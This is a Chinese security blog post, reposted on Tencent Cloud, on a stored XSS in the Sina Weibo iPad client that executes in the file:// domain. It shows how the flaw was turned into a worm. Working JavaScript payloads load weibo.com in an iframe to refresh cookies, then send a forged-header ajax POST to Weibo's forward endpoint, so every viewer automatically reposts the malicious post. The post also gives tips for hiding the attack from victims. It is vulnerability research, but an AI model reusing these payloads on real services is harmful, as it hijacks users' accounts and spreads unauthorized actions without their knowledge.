前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >新浪微博IPAD客户端XSS(file域) + 构造Worm

新浪微博IPAD客户端XSS(file域) + 构造Worm

作者头像
phith0n
发布2020-10-15 10:35:49
9830
发布2020-10-15 10:35:49
举报
文章被收录于专栏:离别歌 - 信息安全与代码审计

前两天和izy一起研究了一个他发现的新浪微博XSS,触发位置在微博ipad版中。

Izy发现,当我们通过第三方APP“快手”,将信息分享到微博时,信息内容就会造成一个XSS。当用户在ipad版微博客户端上查看这条微博的时候,即触发。我们这次的目的就是让这个存储型XSS变成蠕虫。

首先我下载了快手GIF安卓版(ipad/ios应该也可以),拍一段GIF,分享到微博,分享位置填入我的XSS POC:

我的POC只是一个弹窗的alert,在ipad上打开微博APP,点击查看我刚发的分享,即可触发:

我们看到,这个XSS是在本地域(file://)触发的。这就比较有意思了,因为在safari下,本地域是可以跨任意域的。

比如我跨域请求乌云的首页:

跨域是什么概念,比如我在这里插入一个XSS,能直接打到你乌云的cookie。当然,只有在你登录了乌云的情况下。

这就造成了一个很大的问题,我试过即使我在外面的safari浏览器中登录了某个网站,但在APP里也获取不到这个网站的COOKIE。二者不属于一个APP,所以数据是隔离的。

实际上,谁会在微博的客户端中去登录乌云呢?

那么,在微博的客户端中,我们登录了哪个网站?当然是weibo.com了,我们用<iframe src=”http://weibo.com”>在客户端中打开微博首页,就能看到我们已经登录了微博:

我再试试以下的payload:

代码语言:javascript
复制
document.write("<iframe name='wooyun' src='http://weibo.com'>");
setTimeout(function(){
    alert(wooyun.window.document.location.href);
}, 2000);

却发现得到的location.href却是about:blank

我们注入的javascript并没有到weibo.com的域下,所以我们不能直接控制weibo.com的内容。但经过抓包发现,虽然不能直接插入javascript,但我们的数据包中却带有自己的cookie。

新浪的主要cookie是加了HTTPONLY的,偷cookie没有任何意义,但微博作为国内最大的社交媒体之一,一个蠕虫绝对比偷cookie的威力大的多。

我们来构造蠕虫。对于一个微博,蠕虫最好的方式就是进行转发了,我们抓到了电脑上转发的包:

如上图,抓包之后进行fuzz,发现在HTTP头中,Referer肯定是不能少的(新浪是用Referer来防御CSRF漏洞),X-Requested-With: XMLHttpRequest和Content-Type: application/x-www-form-urlencoded也必须有。

因为我们可以跨域,所以我们通过ajax来发送POST包,将Referer、X-Requested-With、Content-Type加入header。

在chrome下,我们是不能通过ajax修改Referer的,但safari却没这么安全的设置。我用到了parsec团队兔子君编写的love.js(https://quininer.github.io/tests/love.js)来辅助我编写payload

代码语言:javascript
复制
love.req.ajax("http://weibo.com/", "pic_src=&appkey=&mid=3814845696408506&style_type=1&mark=&reason=%E8%BD%AC%E5%8F%91%E5%BE%AE%E5%8D%9A&location=page_100505_home&pdetail=1005055462247711&module=&page_module_id=&refer_sort=&rank=0&rankid=&_t=0", {
  "Referer": "http://weibo.com/",
  "X-Requested-With": "XMLHttpRequest",
  "Content-Type": "application/x-www-form-urlencoded"
}, function(data){
  alert(data.target.responseText);
});

但是我将这个payload传上去之后却发现,返回的包确是一个未登录的提示:

我明明应该有weibo.com的cookie的呀?后来izy发现,原来是因为我长时间(这个测试是第二天做的)不操作,所以cookie已经过期了。只要我们再用iframe加载一次weibo.com,即可重新获得cookie。

代码语言:javascript
复制
document.write("<iframe id=hi src=http://weibo.com ></iframe>");
love.req.ajax("http://weibo.com/aj/v6/mblog/forward?ajwvr=6&domain=100505&__rnd=1425013147163", "pic_src=&appkey=&mid=3814845696408506&style_type=1&mark=&reason=%E8%BD%AC%E5%8F%91%E5%BE%AE%E5%8D%9A&location=page_100505_home&pdetail=1005055462247711&module=&page_module_id=&refer_sort=&rank=0&rankid=&_t=0", {
  "Referer": "http://weibo.com/",
  "X-Requested-With": "XMLHttpRequest",
  "Content-Type": "application/x-www-form-urlencoded"
}, function(data){
  alert(data.target.responseText);
});

触发payload发现返回结果变了,已经成功转发微博(实战中将这个弹窗去掉,并可以将iframe的width和height设置为0,让用户察觉不到自己受到危害):

查看自己的主页已经看到转发了:

这样就形成了一个新浪微博的蠕虫。只要查看了我这个微博的用户,即会自动转发这条微博。我们甚至可以把“转发微博”那四个字改成@好友,这样传播下去,只要用了ipad版微博客户端的用户都会触发XSS,再次转发,形成一个一传十十传百的效果。

这篇文章由izy和phithon完成,并再次感谢izy提供了这么好的案例,让我们接触了客户端XSS和客户端蠕虫。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档